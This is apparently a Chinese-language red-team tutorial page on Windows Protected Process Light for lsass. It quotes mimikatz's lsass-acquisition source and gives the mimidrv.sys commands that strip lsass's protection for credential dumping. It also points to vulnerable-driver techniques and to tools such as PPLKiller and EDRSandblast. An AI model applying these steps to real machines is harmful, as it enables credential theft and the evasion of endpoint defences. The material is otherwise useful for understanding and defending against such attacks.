Skip to main content

PPL

随着 mimikatz 的风靡,微软也开发出了响应的防御措施,例如 PPL。对于 IT 管理员,PPL 非常容易部署,绝对是 quick-win,虽然 PPL 是可以被绕过的,但至少给导出凭证操作增添了额外的难度。我们说过,Windows 有 4 种完整度等级,而 PPL,则是更高级的,这意味着即便是 SYSTEM 权限也无法访问被 PPL 保护的进程,而 lsass 支持 PPL保护。我们可以在注册表的如下位置添加 RunAsPPL 从而启用 PPL。

image.png

对于启用了 PPL 的主机,如果我们尝试提取 lsass 中的凭证,那么我们会得到如下的报错:

image.png

我们查看 mimikatz 相关部分的代码:

NTSTATUS kuhl_m_sekurlsa_acquireLSA()
{
    NTSTATUS status = STATUS_SUCCESS;
    KULL_M_MEMORY_TYPE Type;
    HANDLE hData = NULL;
    DWORD pid, cbSk;
    PMINIDUMP_SYSTEM_INFO pInfos;
    DWORD processRights = PROCESS_VM_READ | ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? PROCESS_QUERY_INFORMATION : PROCESS_QUERY_LIMITED_INFORMATION);
    BOOL isError = FALSE;
    PBYTE pSk;

    if(!cLsass.hLsassMem)
    {
        status = STATUS_NOT_FOUND;
        if(pMinidumpName)
        {
            Type = KULL_M_MEMORY_TYPE_PROCESS_DMP;
            kprintf(L"Opening : \'%s\' file for minidump...\n", pMinidumpName);
            hData = CreateFile(pMinidumpName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
        }
        else
        {
            Type = KULL_M_MEMORY_TYPE_PROCESS;
            if(kull_m_process_getProcessIdForName(L"lsass.exe", &pid))
                hData = OpenProcess(processRights, FALSE, pid);
            else PRINT_ERROR(L"LSASS process not found (?)\n");
        }

        if(hData && hData != INVALID_HANDLE_VALUE)
        {
            if(kull_m_memory_open(Type, hData, &cLsass.hLsassMem))
            {
                if(Type == KULL_M_MEMORY_TYPE_PROCESS_DMP)
                {
                    if(pInfos = (PMINIDUMP_SYSTEM_INFO) kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, SystemInfoStream, NULL))
                    {
                        cLsass.osContext.MajorVersion = pInfos->MajorVersion;
                        cLsass.osContext.MinorVersion = pInfos->MinorVersion;
                        cLsass.osContext.BuildNumber  = pInfos->BuildNumber;
                    #if defined(_M_X64) || defined(_M_ARM64)
                        if(isError = (pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_AMD64))
                            PRINT_ERROR(L"Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_AMD64 (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_AMD64);
                    #elif defined(_M_IX86)
                        if(isError = (pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_INTEL))
                            PRINT_ERROR(L"Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_INTEL (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_INTEL);
                    #endif
                    }
                    else
                    {
                        isError = TRUE;
                        PRINT_ERROR(L"Minidump without SystemInfoStream (?)\n");
                    }

                    if (pSk = (PBYTE)kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, (MINIDUMP_STREAM_TYPE)0x1337, &cbSk))
                    {
                        kprintf(L"  > SecureKernel stream found in minidump (%u bytes)\n", cbSk);
                        pid = kuhl_m_sekurlsa_sk_search(pSk, cbSk, TRUE);
                        kprintf(L"    %u candidate keys found\n", pid);
                    }
                }
                else
                {
                #if defined(_M_IX86)
                    if(IsWow64Process(GetCurrentProcess(), &isError) && isError)
                        PRINT_ERROR(MIMIKATZ L" " MIMIKATZ_ARCH L" cannot access x64 process\n");
                    else
                #endif
                    {                        
                        cLsass.osContext.MajorVersion = MIMIKATZ_NT_MAJOR_VERSION;
                        cLsass.osContext.MinorVersion = MIMIKATZ_NT_MINOR_VERSION;
                        cLsass.osContext.BuildNumber  = MIMIKATZ_NT_BUILD_NUMBER;
                    }
                }

                if(!isError)
                {
                    lsassLocalHelper = 
                    #if defined(_M_ARM64)
                        &lsassLocalHelpers[0]
                    #else
                        (cLsass.osContext.MajorVersion < 6) ? &lsassLocalHelpers[0] : &lsassLocalHelpers[1]
                    #endif
                    ;

                    if(NT_SUCCESS(lsassLocalHelper->initLocalLib()))
                    {
                    #if !defined(_M_ARM64)
                        kuhl_m_sekurlsa_livessp_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_8);
                    #endif
                        kuhl_m_sekurlsa_tspkg_package.isValid = (cLsass.osContext.MajorVersion >= 6) || (cLsass.osContext.MinorVersion < 2);
                        kuhl_m_sekurlsa_cloudap_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_BUILD_10_1909);
                        if(NT_SUCCESS(kull_m_process_getVeryBasicModuleInformations(cLsass.hLsassMem, kuhl_m_sekurlsa_findlibs, NULL)) && kuhl_m_sekurlsa_msv_package.Module.isPresent)
                        {
                            kuhl_m_sekurlsa_dpapi_lsa_package.Module = kuhl_m_sekurlsa_msv_package.Module;
                            if(kuhl_m_sekurlsa_utils_search(&cLsass, &kuhl_m_sekurlsa_msv_package.Module))
                            {
                                status = lsassLocalHelper->AcquireKeys(&cLsass, &lsassPackages[0]->Module.Informations);
                                if(!NT_SUCCESS(status))
                                    PRINT_ERROR(L"Key import\n");
                            }
                            else PRINT_ERROR(L"Logon list\n");
                        }
                        else PRINT_ERROR(L"Modules informations\n");
                    }
                    else PRINT_ERROR(L"Local LSA library failed\n");
                }
            }
            else PRINT_ERROR(L"Memory opening\n");

            if(!NT_SUCCESS(status))
                CloseHandle(hData);
        }
        else PRINT_ERROR_AUTO(L"Handle on memory");

        if(!NT_SUCCESS(status))
            cLsass.hLsassMem = kull_m_memory_close(cLsass.hLsassMem);
    }
    return status;
}

笔者已经标记出了分支语句,根据代码我们得知在 PPL 启用的状态下,OpenProcess 无法访问 lsass.exe 进程,即便是开启了SeDebugPrivilege 特权的本地管理员。

但是正如开头所说,PPL 是可以被绕过的,虽然依旧会给我们增加额外的难度。其中方法之一就是使用 mimikatz 的驱动 mimidrv.sys,移除 lsass.exe 的 PPL保护

!+

!processprotect /process:lsass.exe /remove

image.png

在这之后,我们就可以愉快地提取凭证了。但是,攻与防是持续的斗争,虽然 mimidrv.sys 可以帮助我们移除 lsass.exe 的 PPL 保护,但是 mimidrv.sys 会被 AV/EDR 列入黑名单。因此,我们可以编写自己的驱动并且签名,如果觉得这麻烦的话,可以利用具有漏洞的官方驱动在内核空间执行代码(有些类似于通过 LOLBAS 绕过 AppLocker),这样的话我们就能从用户态载入未签名的驱动,例如 PPLKiller (https://github.com/RedCursorSecurityConsulting/PPLKiller) 就是利用了这种技术。

其他一些参考工具:
EDRSandblask: https://github.com/wavestone-cdt/EDRSandblast 
PPLDump: https://github.com/itm4n/PPLdump  (在最新Win11已经不适用)
pypykatz: https://github.com/skelsec/pypykatz